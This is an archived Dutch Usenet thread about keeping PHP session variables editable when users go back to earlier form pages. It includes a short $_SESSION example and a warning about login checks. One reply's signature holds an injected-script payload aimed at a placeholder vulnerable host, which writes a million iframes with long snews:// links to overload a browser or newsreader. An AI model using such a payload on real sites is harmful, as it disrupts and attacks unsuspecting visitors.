PDA

Bekijk Volledige Versie : php: vraag over sessievariabelen of andere oplossing?



Martien van Wanrooij
02/02/04, 00:45
Ik ben bezig met een berekeningsmodule voor een beleggingsadviseur. Ik zou
graag de navigatie zo flexibel mogelijk maken voor de gebruiker. Er worden
diverse pagina's getoond met telkens een aantal vragen. Het lukt me prima om
de variabelen van pagina 1 op te slaan als sessie-variabelen zodat pagina 2
en 3 ze nog "herkennen" maar als de gebruiker terug wil naar, bijvoorbeeld
pagina 2 (vanaf pagina 5 of zo) en daar een andere waarde in wil vullen,
dan lukt het me niet om die te veranderen.
Ongetwijfeld zal er heel wat op internet te vinden zijn over een goede
aanpak hiervan maar ik krijg het niet voor elkaar een zoekopdracht te geven
in google waarmee ik verder kom dus... een suggestie voor goede
zoekopdrachten of een verwijzing naar een site die deze problematiek
behandelt is even welkom als een inhoudelijk antwoord !


Alvast bedankt,
Martien van Wanrooij

Daniel Tryba
02/02/04, 23:35
Martien van Wanrooij <info@martienvanwanrooij.nl> wrote:
> Ik ben bezig met een berekeningsmodule voor een beleggingsadviseur. Ik zou
> graag de navigatie zo flexibel mogelijk maken voor de gebruiker. Er worden
> diverse pagina's getoond met telkens een aantal vragen. Het lukt me prima om
> de variabelen van pagina 1 op te slaan als sessie-variabelen zodat pagina 2
> en 3 ze nog "herkennen" maar als de gebruiker terug wil naar, bijvoorbeeld
> pagina 2 (vanaf pagina 5 of zo) en daar een andere waarde in wil vullen,
> dan lukt het me niet om die te veranderen.

Huh? Dat is triviaal.

> Ongetwijfeld zal er heel wat op internet te vinden zijn over een goede
> aanpak hiervan maar ik krijg het niet voor elkaar een zoekopdracht te geven
> in google waarmee ik verder kom dus... een suggestie voor goede
> zoekopdrachten of een verwijzing naar een site die deze problematiek
> behandelt is even welkom als een inhoudelijk antwoord !

http://php.net/session en even _SESSION bij de predefined variables
opzoeken.

Kort samengevat:

$_SESSION['pagina2']['foo']=$_POST['bar'];

--

Daniel Tryba

Hans
03/02/04, 00:35
On Mon, 2 Feb 2004 22:26:11 +0000 (UTC), Daniel Tryba <news_nl.internet.www.server-side@canopus.nl> wrote:
> Martien van Wanrooij <info@martienvanwanrooij.nl> wrote:
>> Ik ben bezig met een berekeningsmodule voor een beleggingsadviseur. Ik zou
>> graag de navigatie zo flexibel mogelijk maken voor de gebruiker. Er worden
>> diverse pagina's getoond met telkens een aantal vragen. Het lukt me prima om
>> de variabelen van pagina 1 op te slaan als sessie-variabelen zodat pagina 2
>> en 3 ze nog "herkennen" maar als de gebruiker terug wil naar, bijvoorbeeld
>> pagina 2 (vanaf pagina 5 of zo) en daar een andere waarde in wil vullen,
>> dan lukt het me niet om die te veranderen.
>
> Huh? Dat is triviaal.

Wellicht triviaal, maar ook wellicht zo triviaal dat veel mensen ook vergeten
om een eventuele login te checken en de eventuele foute session te destroyen.

Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>